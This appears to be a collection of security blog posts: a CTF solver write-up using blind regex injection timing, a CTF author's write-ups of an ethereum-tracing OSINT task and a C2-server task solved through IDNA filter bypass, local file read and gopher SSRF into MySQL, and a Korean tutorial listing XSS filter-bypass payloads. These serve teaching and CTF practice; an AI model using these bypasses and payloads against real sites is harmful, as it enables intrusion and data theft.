slick-logger web 5 solvers

func searchHandler(w http.ResponseWriter, r *http.Request) {
    channelID, ok := r.URL.Query()["channel"]
    if !ok || !validateParameter(channelID[0]) {
        http.Error(w, "channel parameter is required", 400)

    queries, ok := r.URL.Query()["q"]
    if !ok || !validateParameter(queries[0]) {
        http.Error(w, "q parameter is required", 400)

    users := []User{}
    readJSON("/var/lib/data/users.json", &users)

    dir, _ := strconv.Unquote(channelID[0])
    query, _ := strconv.Unquote(queries[0])

    if strings.HasPrefix(dir, "G") {
        http.Error(w, "You cannot view private channels, sorry!", 403)

    re, _ := regexp.Compile("(?i)" + query)

    messages := []Message{}
    filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
        if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
            newMessages := []Message{}
            readJSON(path, &newMessages)
            for _, message := range newMessages {
                if re.MatchString(message.Text) {
                    // Fill in user info
                    for _, user := range users {
                        if user.ID == message.UserID {
                            messages = append(messages, Message{
                                Text:      re.ReplaceAllString(message.Text, "<em>$0</em>"),
                                UserID:    message.UserID,
                                UserName:  user.Name,
                                Icon:      user.Profile.Image,
                                Timestamp: message.Timestamp,
        return nil

    result, _ := json.Marshal(messages)

    header := w.Header()
    header.Set("Content-type", "application/json")
    fmt.Fprint(w, string(result))

in search function, they get input from us, channel and q

but they use specific parameter form like "value", and unquote it.

so if we give """, it is going to blank, we could search like like '%' in mysql db.

(thanks for @Payload at GON)

from now,

filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
    if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
        newMessages := []Message{}
        readJSON(path, &newMessages)

we could get secret channel's admin message,

users := []User{}
readJSON("/var/lib/data/users.json", &users)


for _, user := range users {
    if user.ID == message.UserID {

but because of this condition, there is no userid USLACKBOT at users.json

    for _, message := range newMessages {
>>>        if re.MatchString(message.Text) {
            // Fill in user info
            for _, user := range users {

but our searching word, query, is going to argument of regexp.Compile, it is used before userid matching.

so we could give it blind regex injection. (

as searching words' length is growing, accuracy of blind regex injection decreases.

moderately slice our searching words to get flag!

and accuracy is little bit low, so we send same payload for several time, and get statistics of most delayed word! XD

[*] 5 : 0.06300497055053711
[*] } : 0.062014102935791016
[*] N : 0.05901360511779785
[*] } : 0.06202411651611328
[*] 0 : 0.060013771057128906
[*] W : 0.058012962341308594
[*] U : 0.09402132034301758
[*] B : 0.0660254955291748
[*] } : 0.06601500511169434
[*] } : 0.06301426887512207
[*] Z : 0.06101393699645996
[*] Y : 0.060013532638549805
[*] } : 0.06601476669311523
[*] H : 0.06502485275268555
[*] 6 : 0.05902361869812012
[Finished in 13.1s]

## this could be `}` is the currect word

check my exploit

Defenit CTF 2020 OSINT Challenge Write-Up (KOR,ENG)



이번 Defenit CTF 2020에선 OSINT 분야 출제를 맡았습니다. 본래 주 분야가 웹이라 웹과 OSINT를 엮어서 할 수 있는 문제를 만드는것을 목표로 하여 문제를 구상하였습니다. 문제 구상을 하기 전에 OSINT라는 분야에 대해 생각해 보았습니다. '인터넷 상에 공개된 정보를 토대로 해커의 정보를 얻거나 그를 특정하는 것'이 OSINT라는 분야의 주된 목적이라 생각하였고, 이를 최근 트렌드와 엮어 '암호화폐'와 '악성코드' 등을 이용한 해커의 악의적 동작을 막아내는 것을 주 컨셉으로 잡고 문제를 구상·제작 하였습니다. Bad Tumbler는 '암호화폐', Hack the C2는 '악성코드의 C2서버'가 주 컨셉입니다. 그럼 한 문제씩 Write-up을 서술하여 보겠습니다.


In this Defenit CTF 2020, I took charge of the OSINT category. Originally, my main field was the web, so I was going to make the challenge that could be done by combining the web and OSINT. Before I thought about the problem, I thought about the category called OSINT. It was thought that the main purpose of the field of OSINT was to'acquire hacker's information based on information published on the Internet or to specify him', and by linking it with recent trends, hackers using 'cryptocurrency' and 'malware'.  The main concept was to prevent malicious movements and devised and produced problems. 'Bad Tumbler's main concept is 'cryptocurrency', and 'Hack the C2's main concept are 'C2 server of ransomware'. Then let's describe Write-up one by one.


1. Bad Tumblers


 1. parse given address recursively

 2. get characteristic of hacker address

 3. get connection of all parsed address (tumbler networks + hacker wallet + victim wallet + a)

 4. specify the wallet which has characteristic 'from some wallet but to less wallet (unless 5)'

 5. specify the wallet which had been having more than 400+ ether

이 첼린지는 최근 이슈화 되고있는 암호화폐 돈세탁에 관련된 문제입니다. 해커가 암호화폐를 해킹하여 돈세탁을 맡기고, 출금한 상황에서 이러한 해커를 추적해나가는게 주요 문제 해결의 키 포인트입니다.

우선 전제조건과 설명은 아래와 같습니다

This is a problem related to the money laundering of cryptocurrency, which has recently become an issue. The key point of solving a major problem is that a hacker hacks a cryptocurrency, entrusts money laundering, and tracks the hacker in the withdrawal situation.

First of all, the prerequisites and explanations are as follows:

0. Hundreds of wallets contain about 5 ether (tumbler)
0. Hackers steal more than 400 ethers through hacking per exchange
0. Hacker commissions ethereum tumbler to tumbling 400 ether from his wallet
0. After tracking the hacking accident that reported by exchange A, we confirmed that it was withdrawn to the hacker wallet of exchange C.
0. After checking the amount withdrawn from the wallet of exchange C, it seems that it was not the only exchange(exchange A) that was robbed.
0. Therefore, it is a problem to find a hacker wallet of some exchange(in this chall, it will be exchange B). So, we should find clues to track the hacker.

Hacker succeeded in hacking and seizing cryptocurrency, Ethereum! Hacker succeeded in withdraw Ethereum by mixing & tumbling. What we know is the account of the hacker of exchange A which reported the hacking and exchange C which hacker withdrew money. In addition to Exchange A, there is another exchange that has been hacked. Track hackers to find out the bad hacker's wallet address on another exchange!

길죠?ㅠㅠ 죄송합니다. 보다 좋고 개연성있는 시나리오를 구성하기 위해서 주절주절 써봤습니다..

It's long, isn't it? In order to compose a better and more probable scenario, I've written weekly.

전제조건과 디스크립션의 주요 내용은 첨부된 개념도를 통해 더 직관적으로 이해할 수 있습니다. 각 거래소 A와 B에 피해자들이 있고, 이 피해자들이 이더리움을 해커의 지갑으로 우선 전송, 해커는 모인 이더리움들을 tumbler network에 조금씩 나누어 전송하고, 이렇게 전송된 돈은 tumbler network에서 돌고 돌다가 거래소 C의 해커 계좌로 조금씩 입금됩니다. 한마디로 '컵에 물을 담아 호수에 부은 후, 호수의 물을 다시 다른 컵으로 뜨는 것'과 비슷한 맥락으로 이해하면 됩니다.

The main contents of the precondition and description can be understood more intuitively through the attached conceptual image. There are victims on each of exchanges A and B, and these victims first transfer Ethereum to the hacker's wallet, the hacker transmits the collected Ethereum in small portions to the tumbler network, and the transferred money is circulated on the tumbler network and then exchanges C Will be gradually deposited into your hacker account. In a nutshell, you can understand it in a similar context to'after pouring water into a cup and pouring it into the lake, then floating the water from the lake back into another cup'.

문제에선 거래소 A와 C의 해커 지갑이 주어집니다. 암호화폐의 특성상 각 지갑에서의 거래(Transaction)는 모두 기록되어 모두에게 공유됩니다. 문제를 풀어나가는 첫 단계는 해킹을 당한 거래소 A의 해커 지갑을 분석하여 특징을 조사하고, 이러한 지갑들과 연결된 지갑들을 모두 찾아내 그 지갑들에서 아까 찾아낸 특징을 적용하여 살펴보는 것입니다.

The challenge is given to the exchange A and C hacker wallets. Due to the principle of cryptocurrency, all transactions in each wallet are recorded and shared with all. The first step in solving the problem is to analyze the hacker wallet of the hacked exchange A to investigate its characteristics, find all the wallets associated with these wallets, and apply the features found earlier in those wallets.


문제의 조건으로 주어진 거래소 A의 해커 지갑의 초기 transaction 들입니다.


These are the initial transactions in the hacker wallet of exchange A given as a condition of the problem.



Concept Map에서는 상기 그림에 해당하는 거래입니다. 피해자들의 돈이 해커의 지갑으로 입금되는 상황입니다. transaction들을 살펴보면 우선 피해자들의 이더리움이 해커의 지갑으로 모인 후, 이 이더리움들이 tumbler network로 출금되는 것을 알 수 있습니다.


In the Concept Map, it is a transaction corresponding to the picture above. The victim's money is deposited into the hacker's wallet. Looking at the transactions, you can see that the victims' Ethereum is first collected in the hacker's wallet, and then these Ethereums are withdrawn to the tumbler network.


 "Hacker Wallet's Characteristic: many victims deposit to hacker wallet"

이제 지갑들을 모두 파싱하여 특징을 조사하기 위해 recursive parse를 진행합니다. 수집된 지갑들 중 from/to transaction을 조사하여 지갑(node)간의 연결 정보를 수집합니다. 그 정보 중 우리가 알아낸 특징인 'to transaction이 적은 지갑이 victim 지갑이고, 그 to에 해당하는 지갑이 해커지갑이라는 것'을 적용하여 필터링합니다. 이후 필터링 된 지갑들 중 한때 400이더리움 이상을 가지고 있던 지갑(max current value)을 필터링합니다.


Now parse all wallets and proceed with recursive parse to investigate the features. Among the collected wallets, connection information between wallets is collected by examining from/to transactions. Among the information, we filter by applying the feature that we found out, 'a wallet with a small amount of to transaction is a victim wallet, and a wallet corresponding to that to be a hacker wallet'. Subsequently, the filtered wallet (max current value) that once had more than 400 Ethereum was filtered.



2. hack-the-c2



 1. find nickname at twitter

 2. see deleted tweet from

 3. find ransomware name at github

 4. see private repository(which is code of c2 server) from

 5. get url of c2 server and its code

 6. bypass curl argument's filter regex by idna normalization

  ( `file:/‥/‥/`, fi(\u2025, 1byte) will change to fi(\x46\x49, 2byte) after idna decoding at python )

 7. get internal server(which use 7777 port)'s code

 8. know it has connection with internal network's mysql server (

 9. when connect to mysql server, there aren't login password

 10. so we can ssrf it by gopher scheme

 11. double url encoding because our packet via external server(which use 9090 port)

 12. get killcode from mysql, input killcode => FLAG XD

DescriptionSome hacker make ransomware, and he is going to spread it. We should stop him, but the only we have is that the hacker uses nickname 'b4d_ar4n9'. Find hacker's info and stop him!Hints


  • my own github is not related to solve this challenge


이 챌린지는 이전 랜섬웨어 킬스위치를 작동시켜 막대한 피해를 막은 영국의 보안 연구원이 떠올라 이와 비슷한 컨셉으로 만든 문제입니다. 보안 연구원인 우리는 인터넷에서 해커의 정보를 수집하여 해당 해커의 C2 서버 코드를 릭하여 자신만이 사용하려 만든 일종의 'admin function'들과 그에서 발생하는 취약점들로 C2서버를 해킹하여 킬스위치를 작동시켜 랜섬웨어 작동을 막아 세상을 구해낸다는(?) 컨셉입니다.


This challenge was created by a British security researcher who ran a previous ransomware kill switch to prevent massive damage and I made this challenge as a similar concept. As a security researcher, we collect hacker's information from the Internet and get the hacker's C2 server code to hack the C2 server by hacking the C2 server with some kind of 'admin functions' and vulnerabilities. The concept is to save the world by activating it to prevent ransomware from working (?).




우선 문제를 해결하기 위해선 정보를 수집하여야 합니다. 트위터에 'b4d_ar4n9'을 검색해보면 해당 닉네임을 사용중인 계정과 트윗들이 나옵니다. 이 중, 랜섬웨어의 이름을 썼다 지운 흔적이 위의 이미지와 같이 보입니다.


First, we need to collect information to solve the problem. If you search for 'b4d_ar4n9' on Twitter, the accounts and tweets using the nickname will appear. Of these, the name of the ransomware that was written and erased looks like the image above.



랜섬웨어 이름이 등장합니다! 추가로 최근 트윗에 'c2 서버의 코드를 모두 커밋했다' 라는 내용이 존재합니다. 따라서 github에서 랜섬웨어의 이름을 토대로 검색해봅시다.


The ransomware name comes up! In addition, a recent tweet says 'committed all code from c2 server'. So let's search based on the name of ransomware on github.


해커의 닉네임과 (leet lang으로) 동일한 계정의 repository가 나옵니다.


You'll get a repository with the same account (with leet lang) as the hacker's nickname.

해당 repository의 커밋을 살펴보면 '모든것을 private로 만들었고, 모든 중요정보는 아카이빙 한다' 라는 기록이 존재합니다.


When looking at the commit of the repository, there is a record that 'everything is made private and all important information is archived'.


짜잔- 여기엔 아까 보았던 랜섬웨어 이름으로 된 repository가 존재합니다.


There is a repository in the name of ransomware you saw earlier.





해당 repository엔 c2 서버의 주소(와 그 코드가 있습니다.


The repository contains the address of the c2 server( and its code.


# health check! - ps
def health_ps():
	r = subprocess.Popen("ps -ef".split(' '),stdout=subprocess.PIPE)'\n')
	result = []
	for i in r:
		if 'python' in i:
	return render_template('he41th_ch3ck_C2_ps.html', results=result)

# health check! - netstat
def health_netstat():
	r = subprocess.Popen("netstat -lntp".split(' '),stdout=subprocess.PIPE)'\n')
	return render_template('h3alTh_CHeCK_c2_nEtsTaT.html', results=r)



누촐된 코드를 통하여 일반적으로는 쉽게 알 수 없는 route에 접속하면, 현재 c2 서버의 process info와 netstat info를 알 수 있습니다. 이를 통해 내부에 9090 포트 외에 7777 포트로 돌아가는 flask server가 하나 더 있음을 확인 할 수 있습니다. (여기에 37159 포트를 사용하는 호스트에 많은 노력을 들인 분들이 있습니다만, 해당 서비스는 docker 안의 네트워크에서 dns를 관리하는 호스트입니다. 문제와는 관련이 없고, 구글링 할 시 찾아볼 수 있는 내용입니다)


If you access a route that is not normally known through the leaked code, you can get the process info and netstat info of the current c2 server. Through this, you can see that there is one more flask server that goes back to port 7777 in addition to port 9090. (Here is a lot of effort on the host that uses port 37159, but the service is a host that manages dns on the network inside the docker. It has nothing to do with the challenge and can be found when you google Content)


# health check! - curl
def health_curl():
	url = request.args.get('url')
		if url:
			turl = filterUrl(url)
			if turl:
				url = turl
					buffer = BytesIO()
					c = pycurl.Curl()
					c.setopt(c.SSL_VERIFYPEER, False)
						result = buffer.getvalue().decode().split('\n')
						result = buffer.getvalue()
				except Exception as e:
					print('[x] curl err - {}'.format(str(e)))
					result = ['err.....']
				return render_template('He4ltH_chEck_c2_cur1.html', results=result)
				return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. url is error or unsafe!'])
	except Exception as e:
		print('[x] curl err2... - {}'.format(str(e)))
	return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. you didn\'t give url'])

def filterUrl(url):
		# you may not read any file
		if re.compile(r"(^[^:]{3}:)").search(url):
			if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
				print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
				return url.replace("..","").encode('idna').decode().replace("..","")
		elif re.compile(r"(^[^:]{4}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			p = parse.urlparse(url)
			if (p.scheme == 'http') and p.netloc.split(':')[0] == 'localhost':
				print('[+] curl url - {}'.format(url))
				return url
		elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			print('[+] curl url - {}'.format(url))
			return url
	except Exception as e:
		print('[x] regex err - {}'.format(str(e)))
		return False

	return False


가장 중요한 부분인데요, 사용자의 input url을 받아 curl의 인자로 넘겨주는 서비스가 존재합니다. 다만 사용자의 input을 regex로 filtering하고 있어 이를 우회하여 SSRF(Server Side Request Forgery)하는 것이 출제자의 intent입니다. (다행히 unintent로 문제를 해결하신 분이 없습니다)


The most important part, there is a service that takes the user's input url and passes it as an argument of curl. However, since the user's input is filtered with regex, it is the intent of the submitter to bypass this and SSRF (Server Side Request Forgery). (Fortunately, no one has solved the challenge with unintent)


if re.compile(r"(^[^:]{3}:)").search(url):
	if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
		print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
		return url.replace("..","").encode('idna').decode().replace("..","")


상기 코드 중 scheme이 3글자 일때의 filtering code를 살펴보면, 특이하게도 input url에서 '..'를 제거 후 'idna normalization'을 수행하는 것을 확인 할 수 있습니다. idna normalization을 할 시 특수 unicode가 printable ascii character로 변환되는 일이 비일비재 합니다. 이번 문제의 의도는 이러한 idna normalization을 유니코드 범위 \u0000에서 \uffff까지 fuzzing하여 해당 문제 해결에 필요한 Gadget을 획득하는 것이었습니다.


Looking at the filtering code when the scheme is 3 letters among the above codes, it can be confirmed that 'idna normalization' is performed after removing '..' from the input url. When performing idna normalization, special unicode is converted into printable ascii character. The intention of this issue was to fuzzing this idna normalization from the Unicode range \u0000 to \uffff to get the Gadget needed to solve that challenge.




저 또한 idna normalization에서의 특수한 케이스를 얻기 위해 퍼징하여 그 데이터를 가지고 있는데요, 이 중 fi(\ufb01)가 문제 해결에 사용될 수 있습니다. 해당 문자는 idna normalization 이전엔 1바이트이지만 normalization 이후엔 2바이트 ascii character로 변하게 됩니다. 이로 인하여 처음의 3글자 scheme 필터링 regex에 통과되어 idna normalization 이후 file:/// scheme을 사용, local file leak이 가능해지는 것입니다.


I also fuzz to get a special case in idna normalization and have that data, of which fi(\ufb01) can be used to solve the problem. The character is 1 byte before idna normalization, but after normalization it is changed to a 2-byte ascii character. Because of this, the first 3-letter scheme is passed through the filtering regex, and after idna 

normalization, a file:/// scheme is used, and a local file leak is possible.‥/‥/app2/app/


이로써 7777 포트로 구동중인 internal flask server에 대한 코드를 획득하였습니다.


So, we can obtain the code for the internal flask server running on port 7777.



def connect_db():
	db = pymysql.connect(

	return db

db = connect_db()

# if input killcode, kill all ransomware
def kill_ransom():
		if request.remote_addr != '' and request.remote_addr != '':
			return '[INTERNAL] localhost only..'

		cursor = db.cursor(pymysql.cursors.DictCursor)
		cursor.execute("SELECT ki11c0d3 from secret;")

		if cursor.fetchall()[0]['ki11c0d3'] == request.args.get('ki11c0d3'):
			return subprocess.Popen("/app2/getFlag", stdout=subprocess.PIPE)
			return '[x] you put wrong killcode!'

		return '[x] errr.....'


해당 코드를 살펴보면 으로 mysql connect를 맺어 여기서 killcode를 읽고, killcode가 맞을 시 /app2/getFlag를 실행하여 flag를 출력해주는 것을 확인할 수 있습니다.


elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
	print('[+] curl url - {}'.format(url))
	return url


external flask에 있던 코드 중 6글자 scheme에 대해선 localhost 혹은 대역대로만 host를 제한하고 있습니다. 이를 이용하여 gopher://으로 raw mysql packet을 보내어 요청한다면 우리가 원하는 임의의 sql query를 입력, 결과를 받아올 수 있습니다. (mysql connection시 비밀번호 없이 인증할 수 있도록 설정되어 있기 때문에handshake시 받아오는 20byte의 hash seed값 없이도 authentication이 가능합니다)


For the 6-letter scheme among the codes in the external flask, the host is limited to the localhost or band. If you request by sending raw mysql packet to gopher:// using this, you can enter any sql query we want and get the result. (Because it is set to authenticate without a password when connecting to mysql, authentication is possible without a hash seed value of 20 bytes received during handshake)



나머지 과정은 Gopherous로 쉽게 해결할 수 있습니다. (이를 못하게 하기 위해 연구중이었지만 시간이 부족하였습니다 ㅠㅠ)


The rest of the process can be easily solved with Gopherous. (I was researching to prevent this, but I ran out of time)



해당 payload로 gopher scheme을 이용하여 mysql 서버에 요청 시 결과값이 byte로 오는것을 확인할 수 있습니다.


When the request is requested to the mysql server using the gopher scheme as the corresponding payload, the result value can be checked as a byte.




이를 출력해보면 killcode를 확인할 수 있습니다.


If you print it out, you can see the killcode.






 이렇게 제대로 마음잡고 CTF에 문제를 내본 것은 처음인것 같습니다. 주 분야가 아닌 분야의 출제를 맡아 처음엔 걱정도 고민도 많이 됐지만 다 만들고 나니 OSINT라는 카테고리에 어울리는 문제를 만든것 같다는 소소한 만족감(?)을 얻었는데, 푸신분들은 어떠셨을 지 잘 모르겠습니다. 괜찮았나요? 처음에 생각했던 것 보다 만드는데 어려움이 있어 현재보다 더욱 재밌는 챌린지를 만들지 못해 아쉽지만 기회가 된다면 그 생각들을 나중에 다시 문제로 실현시켜 공유해보고 싶네요. 풀어주신 분들께 정말 감사드리고 혹 부족함이 있었다면 죄송합니다. 감사합니다. 그럼이만! 


It seems to be the first time I have properly thought about this and presented a problem to the CTF. I had a lot of worries and worries at first because I took the questions in a field other than the main one, but after I finished making it, I got a slight satisfaction (?) that it seemed to have created a problem that fits into the category called OSINT. Was it okay? It's a pity that I couldn't create a more challenging challenge than it is now because I have a harder time to make it than I thought at first, but if I have the chance, I would like to share it later as a problem. Thank you so much for releasing and sorry if there was any shortage. Thank you. Sure!




'bad-tumblers' 문제를 제작하는데 사용한 스크립트/솔버 파일과 'hack-the-c2' 문제의 도커 및 소스를 업로드 하였으니 직접 구성하여 해보고싶으신 분들은 참고 부탁드립니다!


I uploaded the script/solver file used to create the'bad-tumblers' challenge, and the docker & source code of the 'hack-the-c2' challenge, so if you want to configure it yourself, please take a look!


made by @arang


  1. 2020.06.07 23:07

    좋은 문제 내주셔서 감사합니다 :)

최근 브라우저의 자바스크립트 엔진이 ecma script 2019(es10) 까지 업데이트 되며 많은 요소와 기능들이 추가되었습니다. 따라서 기존 javascript가 아닌 최신 ecma script 표준으로 인한 xss filtering bypass 기법들이 신설되고 있습니다. 이러한 내용들에 대해 공유하고 그 원리에 대해 간단히 설명드릴까 합니다.



XSS(Cross-Site Scripting) 취약점은 주로 사용자의 unvalid input이 브라우저의 dom 내부에 삽입되거나, 모종의 javascript 동작으로 인하여 공격자가 원하는 코드를 임의로 실행시키거나, 코드 실행의 흐름을 변경하는 취약점입니다.

대다수 경우 XSS 취약점을 방어하기 위해 하기와 같은 방어기제를 둡니다.



  1. 코드단에서의 필터링

사용자에게 파라미터를 전달받아 이를 dom에 뿌려야 하는 경우 사용자의 파라미터를 검증(validation)하여 XSS 공격에 사용되는 문구나 문자가 있을 경우 요청을 거절하거나 해당 문구/문자를 삭제합니다.

대표적으로 "(Double Quote), '(Single Quote), `(Back Quote), <(Left Angle Bracket), >(Right Angle Bracket) 등의 문자, script, alert, eval, onerror 등의 HTML Tag 및 Attribute 등이 대상입니다.

XSS 필터링 솔루션을 통해 필터링 하거나, 아니면 자체적으로 구현한 XSS Filter Function을 통해 필터링 하게 됩니다.

예를들어 Java 웹 서버의 경우 <% String param1 = request.getParameter("param1").replaceAll("script", ""); %> 와 같이 대치하거나, 문자열을 찾을 경우 파라미터를 비워버리는 등 다양한 필터링 동작을 구현할 수 있습니다.


  1. 웹방화벽(WAF)에서의 필터링

코드단에서의 필터링과 동일하게 특정 문구나 문자가 있을 경우 사용자의 요청을 거절합니다.

웹방화벽에서의 필터링은 코드단에서보다 해당 서버의 페이지에 전역적으로 적용되기 때문에 일반적으로 문자에 대한 필터링보단 HTML Tag나 Attribute와 같은 문구에 대한 필터링이 강한것이 특징입니다.(경험상)

replace등의 동작은 거의 수행하지 않고 block을 통해 공격을 막는 것 같습니다.



최근 잘 방어된 사이트의 경우 거의 대부분의 HTML Tag와 Attribute가 필터링 목록에 들어가있습니다. 이런 경우엔 DOM XSS 라 불리우는 ?param="><script>alert('xss');</script> 와 같이 HTML Tag를 직접 삽입해야 하는 XSS는 대부분 필터링에 걸려 실행되지 않습니다. (추가로 이렇게 HTML TAG를 직접 입력해야 하는 경우 클라이언트 단의 브라우저 XSS Auditor에 탐지되어 일부 특수 케이스를 제외하곤 스크립트가 실행되지 않습니다. 이러한 경우 실제 공격을 수행하기 위한 weaponizing은 무리가 있습니다.)

따라서 이렇게 필터링이 심하게 걸려있는 상황에서 XSS 취약점이 발생하는 경우 중 하나로 <script> 태그 영역 내에 사용자의 입력이 "제한없이" 삽입되는 경우입니다. 여기서 말한 "제한없이"는 웹방화벽에서의 필터링은 걸려있어도 코드단에서 필터링이 존재하지 않거나 미비하여 내가 원하는 코드 흐름을 만들 수 있는 경우를 뜻합니다. 예시와 함께 설명하겠습니다.



XSS Vuln Code Example

var username = "<%=request.getParameter("username")%>";
alert(username+"님 로그인 하셨습니다.");



위와 같은 경우 username 파라미터에 "(Double Quote) 문자를 삽입하여 script 태그 내의 문자열에 삽입되던 파라미터가 문자열을 벗어나고 임의 스크립트를 실행시킬 수 있게 됩니다.

하지만 이는 필터링이 하나도 없는 경우이고 코드단 필터링이나 웹방화벽에서의 필터링이 존재한다면 해당 문자 및 문구를 사용하지 않고 코드흐름을 제어해야 합니다.

본 글에선 해당 상황에서 쓰일 수 있는 유용한 필터링 우회 구문들을 몇가지 소개하고자 합니다.



alert 등, javascript 내장함수의 실행을 정규식으로 필터링하는 경우

 a=alert; a(document.domain); 

javascript에서의 함수(Function)는 Object의 종류 중 하나입니다. javascript에서의 Object는 객체로써 변수에 해당 Object를 할당해줄 수 있습니다.

따라서 변수 a에 alert (내장함수)를 할당하고, 이를 호출함으로써 alert(document.domain)을 위와 같이 표현할 수 있습니다.

정규식을 통해 (ex. /alert(.+)/) 특정 함수의 실행을 막고있다면 위와같이 우회가 가능합니다.

이하는 위와 설명이 같음

 a=eval; b="aler"; c="t(documen"; d="t.domai"; e="n)"; a(b+c+d+e); 
 a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==")); 



Quote를 사용할 수 없는 경우


Int..toString(Int) 는 앞의 숫자를 문자열 형식으로 바꾸는데, 인자로 진법을 넘깁니다. 즉 여기선 30진법으로 해석해서 문자열로 치환하라는 명령어입니다.

String.fromCharCode(int, int) 는 인자로 전달된 decimal integer 형식의 숫자들을 문자로 치환하여 concatenation 하여 반환합니다.

따라서 위의 명령어는 eval("alert(1)") 과 동일합니다.


javascript에서 / 사이에 있는 문자열은 정규식 표현입니다. 정규식은 Object 타입의 일종으로, 그 하위 함수 중에는 문자열로 type을 변경할 수 있는 .source attribute가 존재합니다.

Quote(Single, Double, Back) 없이 따라서 문자로 된 정규식 표현을 .source attribute를 통해 문자열로 치환된 정규식 문자를 얻을 수 있습니다.




괄호를 사용할 수 없는 경우


Set : Javascript 내장 함수, 여기선 Set을 사용하였지만 다른 아무 내장함수를 넣어도 다 가능합니다

constructor : Set이라는 함수의 생성자를 설정합니다.

` : Back Quote는 함수에 인자를 전달함과 동시에 함수를 실행할 수 있습니다. 위의 구문을 괄호와 따옴표를 사용하여 표현해보면
Set.constructor("alert(document.domain)")() 와 같습니다.

\x28, \x29 : Ecma Script에서는 Hex Ascii String과 Unicode String, Octal String에 대하여 Auto Typecasting을 지원합니다.

\x28 == \u0028 == \50

따라서 Javascript의 내장 함수 Set의 생성자 함수의 동작을 alert(document.domain)으로 설정하고, 해당 Set 함수를 실행(``) 해줌으로써 생성자 함수가 동작하도록 하여 공격자가 원하는 임의 스크립트를 실행시킬 수 있는 것입니다.

이하는 위와 설명이 같음





문구 필터링 + Quote 필터링 + 괄호 필터링


앞에서부터 살펴보겠습니다.

URL은 내장함수입니다. 함수(Function)는 javascript에서 Object입니다. Object와 String 타입간의 더하기 연산이 일어났을 땐 Object.toString() 메서드를 우선 실행하여 Object 자체를 문자열로 Type Casting 한 후 String 문자열과 더해줍니다.


따라서 위의 그림과 같이 문자열로 변하게 됩니다. 이와같은 동작을 수행한 이유는 괄호가 필터링 되어있기 때문에, 괄호를 쓰지 않고 괄호 문자를 얻기 위해서입니다.

_ 변수에 해당 문자열이 할당되었습니다. _[12] == (, _[13] == )

위에서 살펴봤듯이, 정규식을 이용하여 문자열을 획득 및 더해줄 수 있습니다. 이러한 연산을 통해 "alert(document.domain)"이라는 문자열을 얻었습니다.

최신 Ecma Script에선 기존 String, Integer 등 자료형 외에 Symbol이라는 자료형이 신설되었습니다.






이 Symbol 자료형의 속성 중 hasInstance라는 속성이 존재합니다. 해당 Symbol 객체가 instance 인지 판단하여 이후 동작을 재정의 할 수 있는 속성입니다.

위의 코드를 조금 더 보기 쉽게 표현해보겠습니다.

"alert(document.domain)" instanceof { [Symbol.hasInstance] : eval }

{ } 는 Object입니다. 이 Object의 Symbol.hasInstance 속성(해당 객체가 instance 라면 동작할 코드)을 eval로 정의하였습니다.

그리고 "alert(document.domain)" 문자열을 instanceof 연산자를 통해 뒤의 객체 {}가 instance인지 묻고, 이 객체(Object)가 instance라면 위에서 정의한 eval의 인자로 문자열을 넣어 호출하고 그 결과를 반환합니다.

따라서 결과적으로 eval("alert(document.domain)") 이 되게 됩니다.

이와 비슷한 원리로 이루어지는 코드들은 아래와 같습니다.


위 코드는 조금 다른 내용이 섞여있어 코멘트를 달겠습니다.

location.search는 uri에서 ? 이후 부분을 지정합니다.

javascript: scheme을 통해 해당 scheme으로 페이지를 이동시킨다면 이후 임의 자바스크립트 코드를 실행할 수 있습니다.

위 코드를 해석해보면,

Event 내장함수의 prototype(생성자)의 Symbol.toPrimitive의 반환값을 함수 호이스팅과 Arrow Function을 통해 /javascript:0/.source+location.search로 설정합니다.

위에서 설명했듯이 기존 Ecma Script의 자료형은 String, Integer, Undefined, Null, Boolean 이렇게 5가지 였습니다.

Ecma Script6 부턴 이를 Primitive Type이라 칭하고 이에 Symbol이라는 자료형을 새로이 추가하였습니다.

Symbol은 기존 Primitive Type과는 조금 다른 성격의 자료형입니다. 자세한 내용은 아래 블로그를 참고해주시기 바랍니다.

Symbol 자료형 관련 참고 블로그


[ES6] 8. Symbol

Blog posted about front end development




Symbol 타입이 기존 primitive type과 일치할 시 이로 변환해주는 attribute method가 Symbol.toPrimitive method 입니다.

Symbol.toPrimitive 메서드의 반환값은 Arrow Function과 함수 호이스팅을 통해 설정되어있습니다. "javascript:0"

onload=open 구문을 통해 document.onload의 동작을 open 함수로 지정하고 있습니다.

onload는 Event 속성이므로 Event 내장함수가 실행되며 이의 prototype에 설정되어있던 Symbol.toPrimitive가 실행되게 됩니다.

open 내장 함수가 toPrimitive method를 거치며
open(x => /javascript:0/
-> x = function(x){return /javascript:0/}; open(x);
->open(/javascript:0/와 같은 구문으로 변하게 됩니다.

공격자가 uri의 링크를'xss')//&param1=foo&param2=bar 와 같이 설정 후 xss를 트리거했다면,

location.search의 값은 ?0:alert('xss')//&param1=foo&param2=bar가 되고,
전체 문자열은 javascript:0?0:alert('xss')//&param1=foo&param2=bar가 되게 됩니다.

0?0:alert('xss') 이후 문자열은 주석으로 인해 사라지고, 이는 3항연산의 표현식이기때문에 false?false:alert('xss')로 변하게 되어 결국 공격자가 원하는 자바스크립트 구문이 실행되게 됩니다.



지금까지 위에 적힌 구문들 외에도 무수히 많은 방법으로 필터링을 우회할 수 있습니다. 혹 새로운 우회기법이 생각나셨다면 공유해주시면 감사하겠습니다.

읽어주셔서 감사합니다.


[ Summary ]

